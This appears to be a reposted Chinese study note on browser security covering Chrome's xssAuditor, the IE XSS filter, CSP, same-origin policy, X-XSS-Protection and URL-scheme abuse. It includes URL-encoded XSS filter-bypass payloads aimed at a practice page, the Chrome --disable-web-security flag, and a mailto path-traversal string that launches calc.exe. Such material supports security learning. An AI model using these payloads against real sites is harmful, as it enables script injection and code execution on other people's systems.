zoukankan      html  css  js  c++  java
  • 应用安全-浏览器安全-攻防

    应用安全-浏览器安全-Chrome浏览器

    关闭安全模式
    暂时关闭 Linux: google
    -chrome --disable-web-security Mac: open -a Google Chrome --args --disable-web-security windows: 进入到chrome安装目录, chrome.exe --disable-web-security

    xssAuditor

    过滤器可以在脚本执行之前就可以拦截,而且任何使用webkit都可以使用这些规则
    当加载网页时,xssAuditor会在渲染的之前评估用户的输入数据:
    1.检查用户输入是否包含恶意内容,如果存在进行拦截
    2.xssAuditor检测用户是否会反射到渲染的页面中(html实体/html熟悉/javascript/css/url)
    3.评估输入上下文是否合法,非法进行过滤

    chrome是在此法解析阶段进行的,xssAuditor会逐一扫描检测token,
    如果token中发现危险的属性和URL进行比较,如果URL中也存在同样的数据,xssAuditor则会认为这是一个反射XSS。
    demo:
    解析器解析<iframe src="x" onerror="alert(1)"></iframe>
    1.依次检查标签iframe是否包含恶意属性,src/onerror
    2.如果src不是以javascript:开头,则安全,放行
    3.onerror中含有脚本,检查URL是否包含
    4.如果出现在URL中,认为存在安全问题,将过滤 <iframe src="x" onerror="void(0)"></iframe>
    5.中止iframe标签检查

    xssAuditor绕过

    http://mhz.pw/game/xss/xss.php?xss=%3c%62%72%3e%00%00%00%00%00%00%00%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e Bypass Chrome 60及之前版本
    http://mhz.pw/game/xss/xss.php?xss=%3Cobject%20allowscriptaccess=always%3E%20%3Cparam%20name=url%20value=http%3A%2F%2Fmhz.pw%2Fgame%2Fxss%2Falert.swf%3E "只要支持flash的chrome版本(到Chrome 56),均可使用。
    context == support flash

    <object allowscriptaccess=always> <param name=url value=http://mhz.pw/game/xss/alert.swf>"
    http://mhz.pw/game/xss/xss.php?xss=%3Csvg%3E%3Cset%20href%3D%23script%20attributeName%3Dhref%20to%3Ddata%3A%2Calert(document.domain)%20%2F%3E%3Cscript%20id%3Dscript%20src%3Dfoo%3E%3C%2Fscript%3E "到Chrome 55/56可用, 无任何条件,只要输出在页面中即可执行代码。
    context == null

    ?xss=<svg><set href=#script attributeName=href to=data:,alert(document.domain) /><script id=script src=foo></script>"

    chrome://version/ "Google Chrome 74.0.3729.169 (正式版本) (64 位) (cohort: Stable)
    修订版本 78e4f8db3ce38f6c26cf56eed7ae9b331fc67ada-refs/branch-heads/3729@{#1013}
    操作系统 Windows 7 Service Pack 1 Build 7601.24149
    JavaScript V8 7.4.288.28
    Flash 32.0.0.192 C:Users6128000055AppDataLocalGoogleChromeUser DataPepperFlash32.0.0.192pepflashplayer.dll
    用户代理 Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
    命令行 ""C:Program Files (x86)GoogleChromeApplicationchrome.exe"" --flag-switches-begin --flag-switches-end
    可执行文件路径 C:Program Files (x86)GoogleChromeApplicationchrome.exe
    个人资料路径 C:Users6128000055AppDataLocalGoogleChromeUser DataDefault
    其他变体 d01ab0d3-6d9b32d4
    8927cedd-377be55a
    b0271b40-7f918788
    4ca682fe-ca7d8d80
    2b6ab552-7a3a298f
    f88a4127-ca7d8d80
    4b8c3f4-377be55a
    c7c4e160-ca7d8d80
    3095aa95-3f4a17df
    c27fec31-5611c5b2
    7c1bc906-f55a7974
    7038b844-377be55a"

    插件安装 https://blog.csdn.net/wanwuguicang/article/details/79736381

    CVE-2019-5765

    应用安全-浏览器安全-IE浏览器 

    Version    Product
    4.40.308    Internet Explorer 1.0 (Plus! for Windows 95)
    4.40.520    Internet Explorer 2.0
    4.70.1155    Internet Explorer 3.0
    4.70.1158    Internet Explorer 3.0 (Windows 95 OSR2)
    4.70.1215    Internet Explorer 3.01
    4.70.1300    Internet Explorer 3.02 and 3.02a
    4.71.544    Internet Explorer 4.0 Platform Preview 1.0 (PP1)
    4.71.1008.3    Internet Explorer 4.0 Platform Preview 2.0 (PP2)
    4.71.1712.6    Internet Explorer 4.0
    4.72.2106.8    Internet Explorer 4.01
    4.72.3110.8    Internet Explorer 4.01 Service Pack 1 (Windows 98)
    4.72.3612.1713    Internet Explorer 4.01 Service Pack 2
    5.00.0518.10    Internet Explorer 5 Developer Preview (Beta 1)
    5.00.0910.1309    Internet Explorer 5 Beta (Beta 2)
    5.00.2014.0216    Internet Explorer 5
    5.00.2314.1003    Internet Explorer 5 (Office 2000)
    5.00.2614.3500    Internet Explorer 5 (Windows 98 Second Edition)
    5.00.2516.1900    Internet Explorer 5.01 (Windows 2000 Beta 3, build 5.00.2031)
    5.00.2919.800    Internet Explorer 5.01 (Windows 2000 RC1, build 5.00.2072)
    5.00.2919.3800    Internet Explorer 5.01 (Windows 2000 RC2, build 5.00.2128)
    5.00.2919.6307    Internet Explorer 5.01 (Office 2000 SR-1)
    5.00.2920.0000    Internet Explorer 5.01 (Windows 2000, build 5.00.2195)
    5.00.3103.1000    Internet Explorer 5.01 SP1 (Windows 2000 SP1)
    5.00.3105.0106    Internet Explorer 5.01 SP1 (Windows 95/98 and Windows NT 4.0)
    5.00.3314.2101    Internet Explorer 5.01 SP2 (Windows 95/98 and Windows NT 4.0)
    5.00.3315.1000    Internet Explorer 5.01 SP2 (Windows 2000 SP2)
    5.00.3502.1000    Internet Explorer 5.01 SP3 (Windows 2000 SP3 only)
    5.00.3700.1000    Internet Explorer 5.01 SP4 (Windows 2000 SP4 only)
    5.50.3825.1300    Internet Explorer 5.5 Developer Preview (Beta)
    5.50.4030.2400    Internet Explorer 5.5 & Internet Tools Beta
    5.50.4134.0100    Internet Explorer 5.5 for Windows Me (4.90.3000)
    5.50.4134.0600    Internet Explorer 5.5
    5.50.4308.2900    Internet Explorer 5.5 Advanced Security Privacy Beta
    5.50.4522.1800    Internet Explorer 5.5 Service Pack 1
    5.50.4807.2300    Internet Explorer 5.5 Service Pack 2
    6.00.2462.0000    Internet Explorer 6 Public Preview (Beta)
    6.00.2479.0006    Internet Explorer 6 Public Preview (Beta) Refresh
    6.00.2600.0000    Internet Explorer 6 (Windows XP)
    6.00.2800.1106    Internet Explorer 6 Service Pack 1 (Windows XP SP1)
    6.00.2900.2180    Internet Explorer 6 for Windows XP SP2
    6.00.2900.5512    Internet Explorer 6 for Windows XP SP3
    6.00.3663.0000    Internet Explorer 6 for Windows Server 2003 RC1
    6.00.3718.0000    Internet Explorer 6 for Windows Server 2003 RC2
    6.00.3790.0000    Internet Explorer 6 for Windows Server 2003 (release)
    6.00.3790.1830    Internet Explorer 6 for Windows Server 2003 SP1 and Windows XP x64
    6.00.3790.3959    Internet Explorer 6 SP2 for Windows Server 2003 SP1 and Windows XP x64
    7.00.5730.1100    Internet Explorer 7 for Windows XP and Windows Server 2003
    7.00.5730.1300    Internet Explorer 7 for Windows XP and Windows Server 2003
    7.00.6000.16386    Internet Explorer 7 for Windows Vista
    7.00.6000.16441    Internet Explorer 7 for Windows Server 2003 SP2 x64
    7.00.6000.16441    Internet Explorer 7 for Windows XP SP2 x64
    7.00.6001.1800    Internet Explorer 7 for Windows Server 2008 and for Windows Vista SP1
    8.00.6001.17184    Internet Explorer 8 Beta 1
    8.00.6001.18241    Internet Explorer 8 Beta 2
    8.00.6001.18372    Internet Explorer 8 RC1
    8.00.6001.18702    Internet Explorer 8 for Windows XP, Windows Vista, Windows Server 2003 and Windows Server 2008
    8.00.7000.00000    Internet Explorer 8 for Windows 7 Beta
    8.00.7600.16385    Internet Explorer 8 for Windows 7 and for Windows Server 2008 R2 (release)
    9.0.7930.16406     Internet Explorer 9 Beta
    IE xssFilter                        
    IE的xssFilter是在IE8 beta2开始的,IE的xss检测比较粗暴,IE的xssFilter基于正则进行检测的,具体的规则位于
    C:WindowsSystem32下的mshtml.dll文件中
    在cmd中进行查看:
    findstr /C:"sc{r}" C:WINDOWSSYSTEM32mshtml.dll|find "{"
                        
    字符转义                        
    单引号    '                    
    右斜杠    右双斜杠    

    应用安全-浏览器安全-FIreFox浏览器

    CSP策略(Content Security Policy)                        
    "Firefox中有Content Security Policy。其做法就是有服务器返回一个HTTP头,并在其中描述页面应该遵守的安全策略。使用CSP的用法如下,插入一个HTTP返回头:
    
    X-Content-Security-Policy:policy
    其中policy的描述比较灵活,例如:
    
    X-Content-Security-Policy:allow 'self'*.com
    浏览器将信任来自mydomain.com及其子域下的内容。
    
    再比如:
    
    X-Content-Security-Policy:allow 'self';img-src*;media-src medial.com; script-src userscripts.example.com
    除了信任自身来源之外,还可以加在任意域的图片,来自medial.com的媒体文件,以及userscripts.example.com的脚本,其他的规律一律拒绝。
    
    CSP的设计理念是出色的,就是配置规则在页面较多的时候有点复杂。"                        
    防御攻击对象    "UXSS
    
    SOP
    
    Code Injection
    
    Use Inline Styles Violation"                    
    检测网址    "http://csptesting.herokuapp.com/
    项目源码:https://github.com/eoftedal/csp-testing                 

     

    同源策略

    带有src属性的标签(例如<script>、<img>、<iframe>)不受限制
    检测方法    
    console 输入:
    var x = XMLHttpRequest();
    x.open('GET', 'https://www.baidu.com',true);
    x.send();
    document.write(x.responseText);

    同源策略 - 绕过 - JSONP

    同源策略 - 绕过 - CORS

    Access-Control-Allow-Origin 
    IE浏览器不能低于IE10    

    分类 简单请求:浏览器直接发出CORS请求。具体来说,就是在头信息之中,增加一个Origin字段。 非简单请求:是对服务器有特殊要求的请求,比如请求方法是PUT或DELETE,或者Content-Type字段的类型是application/json

    同源策略 - 绕过 - 降域

    同源策略 - 绕过 - PostMessage

    同源策略 - 绕过 - 代理绕过

    浏览器沙箱

    多进程架构

    浏览器沙箱 - 多进程架构 - 绕过

    第三方插件            

    恶意网址

    攻击 
    “挂马”网站    #网站中包含恶意脚本,通过利用浏览器的漏洞(包括插件控件漏洞),执行shellcode,在用户电脑中植马
    钓鱼网站        #通过模仿网站相似页面
    
    防御    
    针对恶意网址拦截,推送恶意网址黑名单为主,安全产商或机构提供恶意网址黑名单

    UXSS

    https://github.com/Metnew/uxss-db

    浏览器安全 - XSS防御

    X-XSS-Protection    针对IE、Chrome 、Safari 
    IE - XSS Filter,Chrome -XSS Auditor                    
    启动    在服务器的响应报文里加上这个字段                
    语法    "X-XSS-Protection : 0
    X-XSS-Protection : 1
    X-XSS-Protection : 1; mode=block
    X-XSS-Protection : 1; report=<reporting-uri>
    X-XSS-Protection:1;mode=block;report=<reporting-uri>"                    

    浏览器安全 - XSS - X-XSS-Protection - 绕过

    script - 》sscriptcript

    url scheme(支持Windows, MAC, Linux,iOS, Android)

    mailto://test@test.com    
    
    thunder://xxxxx    
    
    http://
        
    https://    
    
    ftp://
        
    file://
        
    help://    
    
    file系列    
    1.wshfile
    2.wsffile
    3.vbsfile
    4.vbefile
    5.jsefile

    url scheme - Windows7

    url scheme 被记录在注册表 HKEY_CLASSES_ROOT 
    如要创建一个新的 url scheme,直接在 HKEY_CLASSES_ROOT 添加即可,并在相应的字段中填入对应的值。创建的子项名即为 url scheme 功能名,在该子项下还包含两个项:DefaultIcon 和 shell,DefaultIcon 包含该功能所使用的默认图标路径;在 shell 项下继续创建子项,例如: open,然后在 open 项下创建 command 子项,用于描述应用程序的路径以及参数

    url scheme自定义 - Windows

    方式一:直接添加注册表的方式(Pluggable Protocol)
    创建 calc 用于启动 C:WindowsSystem32calc.exe:
    HKEY_CLASSES_ROOT
        calc
        (Default) = "URL:Calc Protocol"
        URL Protocol = ""
        DefaultIcon
        (Default) = "C:WindowsSystem32calc.exe,1"
        shell
            open
                command
                    (Default) = "C:WindowsSystem32calc.exe" "%1"
    
    
    方式二:异步可插拔协议(Asynchronous Pluggable Protocol),注册的协议会记录在 HKEY_CLASSES_ROOTPROTOCOLS 下

    查看系统支持的url scheme

    Windows: [https://images.seebug.org/archive/duh4win.vbs]
    MAC: [https://images.seebug.org/archive/duh4mac.m]
    Linux: [https://images.seebug.org/archive/duh4linux.sh]

    url scheme漏洞整理

    url scheme RCE,其出现在 Windows XP 下已安装 IE7 版本的系统中,影响范围包括所有支持 url scheme 的应用程序。
    mailto:test%../../../../windows/system32/calc.exe".cmd
    
    CVE-2018-1000006
    CVE-2018-8495

    url scheme防御

    保证操作系统、浏览器(或其他支持 url 的应用)以及应用程序三方的安全性

    chrome

  • 相关阅读:
    dede日期时间标签调用大全
    安全配置织梦系统初探参考[转载]
    最好最实用的PHP二次开发教程
    DEDE网站地图优化技巧
    模板引擎类dedetemplate.class.php使用说明【转自织梦官方】
    如何完成DEDE CMS外部数据库调用|不同数据库调用数据
    《DSP using MATLAB》示例Example5.10
    《DSP using MATLAB》示例Example5.9
    《DSP using MATLAB》示例Example5.8
    《DSP using MATLAB》示例Example5.7
  • 原文地址:https://www.cnblogs.com/AtesetEnginner/p/11266492.html
Copyright © 2011-2022 走看看